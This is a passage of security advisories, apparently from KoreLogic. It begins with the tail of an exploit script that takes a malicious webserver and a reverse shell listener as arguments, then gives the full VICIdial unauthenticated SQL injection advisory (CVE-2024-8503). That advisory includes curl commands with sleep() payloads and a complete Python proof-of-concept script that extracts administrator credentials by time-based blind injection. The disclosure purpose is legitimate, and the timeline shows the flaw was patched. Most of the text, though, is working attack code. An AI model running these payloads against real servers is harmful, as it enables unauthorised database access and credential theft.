required.add_argument('-wh', '--whost', required=True, help='Malicious webserver IP address')<br /> required.add_argument('-wp', '--wport', required=True, help='Malicious webserver port number')<br /> required.add_argument('-lh', '--lhost', required=False, help='Reverse shell listener IP address')<br /> required.add_argument('-lp', '--lport', required=False, help='Reverse shell listener port number')<br /> optional.add_argument('-b', '--bind', required=False, help='Bind to [lhost:lport] and [whost:wport] and <br />handle connections automatically', action='store_true', default=False)<br /> optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', <br />default=None)<br /> arguments = argparser.parse_args()<br /><br /> exploit = Exploit(<br /> rhost = arguments.rhost,<br /> rport = arguments.rport,<br /> whost = arguments.whost,<br /> wport = arguments.wport,<br /> lhost = arguments.lhost,<br /> lport = arguments.lport,<br /> bind = arguments.bind,<br /> proxy = arguments.proxy<br /> )<br /> exploit.shell()<br /><br /><br />The contents of this advisory are copyright(c) 2024<br />KoreLogic, Inc. and are licensed under a Creative Commons<br />Attribution Share-Alike 4.0 (United States) License:<br />http://creativecommons.org/licenses/by-sa/4.0/<br /><br />KoreLogic, Inc. is a founder-owned and operated company with a<br />proven track record of providing security services to entities<br />ranging from Fortune 500 to small and mid-sized companies. We<br />are a highly skilled team of senior security consultants doing<br />by-hand security assessments for the most important networks in<br />the U.S. and around the world. We are also developers of various<br />tools and resources aimed at helping the security community.<br />https://www.korelogic.com/about-korelogic.html<br /><br />Our public vulnerability disclosure policy is available at:<br />https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy<br /><br /></code></pre>
<pre><code>KL-001-2024-011: VICIdial Unauthenticated SQL Injection<br /><br />Title: VICIdial Unauthenticated SQL Injection<br />Advisory ID: KL-001-2024-011<br />Publication Date: 2024-09-10<br />Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt<br /><br /><br />1. Vulnerability Details<br /><br /> Affected Vendor: VICIdial<br /> Affected Product: VICIdial<br /> Affected Version: 2.14-917a<br /> Platform: GNU/Linux<br /> CWE Classification: CWE-89: Improper Neutralization of Special<br /> Elements used in an SQL Command<br /> ('SQL Injection')<br /> CVE ID: CVE-2024-8503<br /><br /><br />2. Vulnerability Description<br /><br /> An unauthenticated attacker can leverage a time-based SQL<br /> injection vulnerability in VICIdial to enumerate database<br /> records. By default, VICIdial stores plaintext credentials<br /> within the database.<br /><br /><br />3. Technical Description<br /><br /> VICIdial is an open-source contact center suite, mainly used<br /> by call centers. The "vicidial.com" website boasts over 14,000<br /> registered installations. There is a public SVN repository to<br /> access the source code, as well as an ISO that can be used to<br /> install the software. The ISO was used in a virtual machine<br /> for testing purposes.<br /><br /> When performing SQL queries, VICIdial does not use prepared<br /> statements, but instead uses the "preg_replace" PHP function<br /> to remove problematic characters in user-controlled input<br /> before interpolating the variable into a SQL query. This<br /> is largely an effective solution, as regular expressions<br /> like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which<br /> essentially limits input to the characters shown in the pattern<br /> (letters, numbers, underscores, and hyphens).<br /><br /> However, these scripts do not utilize a shared PHP file<br /> for performing sanitization uniformly. Instead, each script<br /> individually implements the "preg_replace" function, leading<br /> to inconsistencies in which patterns are used and where they<br /> are applied.<br /><br /> For example, providing credentials via the "Authorization"<br /> request header using the "Basic" scheme, most PHP scripts<br /> sanitize the username value with the following line:<br /><br /> $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER);<br /><br /> However, the "VERM_AJAX_functions.php" PHP script does not<br /> perform any sanitization before inserting the username into<br /> a SQL "INSERT" statement:<br /><br /> $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER'];<br /> $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW'];<br /> ...<br /> if ($function=="log_custom_report")<br /> {<br /> $rpt_log_stmt="insert ignore into<br /> verm_custom_report_holder(user,<br /> report_name, report_parameters)<br /> values('$PHP_AUTH_USER', '$custom_report_name',<br /> '$LOGhttp_referer') ON DUPLICATE KEY<br /> UPDATE report_name='$custom_report_name',<br /> report_parameters='$custom_report_vars'";<br /> $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);<br /> return mysqli_affected_rows($rpt_log_rslt);<br /> }<br /><br /> Since "VERM_AJAX_functions.php" can be accessed without<br /> authentication, this creates a straight forward unauthenticated<br /> SQL injection vulnerability. While the page response cannot<br /> be manipulated by the execution of the query, delays in the<br /> page response can be observed when using SQL functions such as<br /> "sleep()", enabling the enumeration of database values using<br /> time-based SQL injection:<br /><br /> $ time curl -u "foo:bar" \<br /> http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report<br /><br /> real 0m0.019s <--- (normal response time)<br /> user 0m0.004s<br /> sys 0m0.008s<br /><br /> $ time curl -u "','',sleep(5));#:bar" \<br /> http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report<br /><br /> real 0m5.023s <--- (5-second delay in response time)<br /> user 0m0.003s<br /> sys 0m0.008s<br /><br /> This observable difference can be used to craft queries that<br /> sleep under specific conditions, allowing an attacker to ask<br /> "Yes or No" questions. In the following example, the "sleep()"<br /> function is called only if the provided string matches the<br /> database version:<br /><br /> $ time curl -u \<br /> "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \<br /> http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report<br /><br /> real 0m0.024s <--- (normal response time)<br /> user 0m0.006s<br /> sys 0m0.003s<br /><br /> $ time curl -u \<br /> "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \<br /> http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report<br /><br /> real 0m5.019s <--- (5-second delay in response time)<br /> user 0m0.004s<br /> sys 0m0.008s<br /><br /><br />4. Mitigation and Remediation Recommendation<br /><br /> This issue has been remediated in the public svn/trunk codebase,<br /> as of revision 3848 committed 2024-07-08.<br /><br /><br />5. Credit<br /><br /> This vulnerability was discovered by Jaggar Henry of KoreLogic,<br /> Inc.<br /><br /><br />6. Disclosure Timeline<br /><br /> 2024-07-05 : KoreLogic requests security contact from<br /> support@vicidial.com.<br /> 2024-07-08 : KoreLogic reports vulnerability details to VICIdial<br /> contact.<br /> 2024-07-08 : VICIdial notifies KoreLogic that the issue has been<br /> remediated with revision 3848 in the public<br /> Subversion repository.<br /> 2024-07-11 : KoreLogic confirms this vulnerability has been<br /> remediated. KoreLogic asks VICIdial if it is<br /> appropriate to publicly disclose the vulnerability<br /> details at this time.<br /> 2024-07-11 : VICIdial requests four weeks of embargo in order to<br /> upgrade supported customers.<br /> 2024-08-05 : KoreLogic asks VICIdial if it is appropriate to<br /> publicly disclose the vulnerability details at<br /> this time.<br /> 2024-08-09 : VICIdial requests an additional two weeks of<br /> embargo.<br /> 2024-09-10 : KoreLogic public disclosure.<br /><br /><br />7. Proof of Concept<br /><br /> The following script can be used to automate the exploitation process and<br /> enumerate the results of provided queries:<br /><br /> $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version'<br /> [+] Target appears vulnerable to time-based SQL injection<br /> [~] Executing SQL: SELECT @@version<br /> [~] 1<br /> [~] 10<br /> [~] 10.<br /> [~] 10.6<br /> [~] 10.6.<br /> [~] 10.6.1<br /> [~] 10.6.14<br /> [~] 10.6.14-<br /> [~] 10.6.14-M<br /> [~] 10.6.14-Ma<br /> [~] 10.6.14-Mar<br /> [~] 10.6.14-Mari<br /> [~] 10.6.14-Maria<br /> [~] 10.6.14-MariaD<br /> [~] 10.6.14-MariaDB<br /> [~] 10.6.14-MariaDB-<br /> [~] 10.6.14-MariaDB-l<br /> [~] 10.6.14-MariaDB-lo<br /> [~] 10.6.14-MariaDB-log<br /><br /> real 0m6.727s<br /> user 0m0.425s<br /> sys 0m0.020s<br /><br /><br /> ##############################<br /> ## unauth_sqli.py ##<br /> ##############################<br /><br /> import string<br /> import random<br /> import urllib3<br /> import argparse<br /> import requests<br /> from base64 import b64encode<br /><br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /><br /> class Exploit:<br /> def __init__(self, rhost, rport, proxy=None):<br /> """<br /> This 'sleep' duration is derived by the average response time<br /> multiplied by this value. A server with an average response time<br /> of 10ms is given a 'sleep' duration of 300ms. Tune as needed.<br /> """<br /> self.SLEEP_MULTIPLIER = 30<br /> self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}<br /> self.ALLOWED_SCHEMES = ['http', 'https']<br /> if proxy:<br /> self.REQUEST_PROXIES = {<br /> 'http': proxy,<br /> 'https': proxy<br /> }<br /> else:<br /> self.REQUEST_PROXIES = {}<br /><br /> self.TARGET_IP = rhost<br /> self.TARGET_PORT = rport<br /><br /> self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'<br /> self.RANDOM_CHARSET = string.ascii_uppercase + string.digits<br /><br /> # returns a URI with 'http' or 'https'<br /> def determine_target_uri(self):<br /> for scheme in self.ALLOWED_SCHEMES:<br /> target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'<br /> try:<br /> response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)<br /> if self.VICIDIAL_FINGERPRINT in response.text:<br /> return target_uri<br /> except:<br /> pass<br /><br /> # returns a session object with custom proxies/headers if supplied<br /> def build_requests_session(self):<br /> self.base_uri = self.determine_target_uri()<br /> session = requests.Session()<br /> session.proxies = self.REQUEST_PROXIES<br /> session.verify = False<br /> return session<br /><br /> # returns a random string of a given length<br /> def random(self, length):<br /> return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))<br /><br /> # returns a timedelta representing the response time of an injected SQL query<br /> def time_sql_query(self, query, session):<br /> username = f"goolicker', '', ({query}));# "<br /> credentials = f'{username}:password'<br /> credentials_base64 = b64encode(credentials.encode()).decode()<br /> auth_header = f'Basic {credentials_base64}'<br /><br /> target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'<br /> request_params = {'function': 'log_custom_report', self.random(5): self.random(5)}<br /> request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}<br /><br /> response = session.get(target_uri, params=request_params, headers=request_headers)<br /> return response.elapsed<br /><br /> # returns a boolean if time-based SQL injection is possible, additionally<br /> # sets the best 'sleep' duration based on response times<br /> def is_vulnerable(self, session, baseline_iterations=5):<br /> # determine average baseline response time<br /> zero_sleep_query = f'SELECT (NULL)'<br /> total_baseline_time = 0<br /> for _ in range(baseline_iterations):<br /> execution_time = self.time_sql_query(zero_sleep_query, session)<br /> total_baseline_time += execution_time.total_seconds()<br /><br /> average_baseline_response_time = total_baseline_time / baseline_iterations<br /> self.sql_baseline_time = average_baseline_response_time<br /><br /> # determine if injected sleep query impacts response time<br /> sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)<br /> sleep_query = f'SELECT (sleep({sleep_length}))'<br /> execution_time = self.time_sql_query(sleep_query, session)<br /> if execution_time.total_seconds() >= sleep_length:<br /> self.sql_sleep_length = sleep_length<br /> return True<br /> else:<br /> return False<br /><br /> # determine if a character at a specific indice of a query result returns a<br /> # boolean 'true' when compared to a given character using the supplied operator<br /> def check_indice_of_query_result(self, session, query, indice, operator, ordinal):<br /> parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, <br />sleep({self.sql_sleep_length}), null)'<br /> execution_time = self.time_sql_query(parent_query, session)<br /> return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)<br /><br /> def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):<br /> # convert charset to ordinals<br /> all_characters = sorted([ord(char) for char in charset])<br /> reduced_characters = all_characters<br /><br /> # use a binary search and enumerate query results<br /> result = ''<br /> indice = 1<br /> indice_could_be_null = True<br /> while True:<br /> """<br /> we check if the value is NULL once per indice<br /> to determine when a string ends. this adds one<br /> request per indice, but since every boolean 'true'<br /> results in a delay this is faster than counting<br /> the length of the string before enumrating.<br /> """<br /> if indice_could_be_null:<br /> if self.check_indice_of_query_result(session, query, indice, '=', '0'):<br /> break<br /> else:<br /> indice_could_be_null = False<br /><br /> # enumerate each character of query result with a binary search<br /> middle_indice = len(reduced_characters) // 2<br /> middle_ordinal = reduced_characters[middle_indice]<br /> if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):<br /> if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):<br /> reduced_characters = all_characters<br /> result += chr(middle_ordinal)<br /> indice += 1<br /> indice_could_be_null = True<br /> print(f'[~] {result}')<br /> else:<br /> reduced_characters = reduced_characters[:middle_indice]<br /> else:<br /> reduced_characters = reduced_characters[middle_indice:]<br /><br /> return result<br /><br /> # returns administrator username and password by<br /> # exploiting time-based SQL injection.<br /> def extract_admin_credentials(self, session):<br /> print('[~] Enumerating administrator credentials')<br /> username_charset = string.ascii_letters + string.digits<br /> admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = <br />'1' LIMIT 1"<br /> admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)<br /> print(f'[+] Username: {admin_username}')<br /><br /> password_charset = string.ascii_letters + string.digits + '-.+/=_'<br /> admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"<br /> admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)<br /> print(f'[+] Password: {admin_password}')<br /><br /> return admin_username, admin_password<br /><br /> # injects SQL queries and enumerates results if instance is vulnerable<br /> def exploit(self, custom_query=None):<br /> session = self.build_requests_session()<br /> is_vulnerable = self.is_vulnerable(session)<br /> if is_vulnerable:<br /> print('[+] Target appears vulnerable to time-based SQL injection')<br /> else:<br /> print('[-] Failed to perform time-based SQL injection')<br /> return<br /><br /> if custom_query:<br /> print(f'[~] Executing SQL: {custom_query}')<br /> self.enumerate_sql_query(session, custom_query)<br /> else:<br /> self.extract_admin_credentials(session)<br /><br /> if __name__ == '__main__':<br /> argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi')<br /> required = argparser.add_argument_group('Required Arguments')<br /> optional = argparser.add_argument_group('Optional Arguments')<br /> required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')<br /> required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')<br /> optional.add_argument('-q', '--query', required=False, help='Custom SQL query to execute', <br />default=None)<br /> optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', <br />default=None)<br /> arguments = argparser.parse_args()<br /><br /> exploit = Exploit(<br /> rhost = arguments.rhost,<br /> rport = arguments.rport,<br /> proxy = arguments.proxy<br /> )<br /> exploit.exploit(custom_query=arguments.query)<br /><br /><br />The contents of this advisory are copyright(c) 2024<br />KoreLogic, Inc. and are licensed under a Creative Commons<br />Attribution Share-Alike 4.0 (United States) License:<br />http://creativecommons.org/licenses/by-sa/4.0/<br /><br />KoreLogic, Inc. is a founder-owned and operated company with a<br />proven track record of providing security services to entities<br />ranging from Fortune 500 to small and mid-sized companies. We<br />are a highly skilled team of senior security consultants doing<br />by-hand security assessments for the most important networks in<br />the U.S. and around the world. We are also developers of various<br />tools and resources aimed at helping the security community.<br />https://www.korelogic.com/about-korelogic.html<br /><br />Our public vulnerability disclosure policy is available at:<br />https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy<br /><br /></code></pre>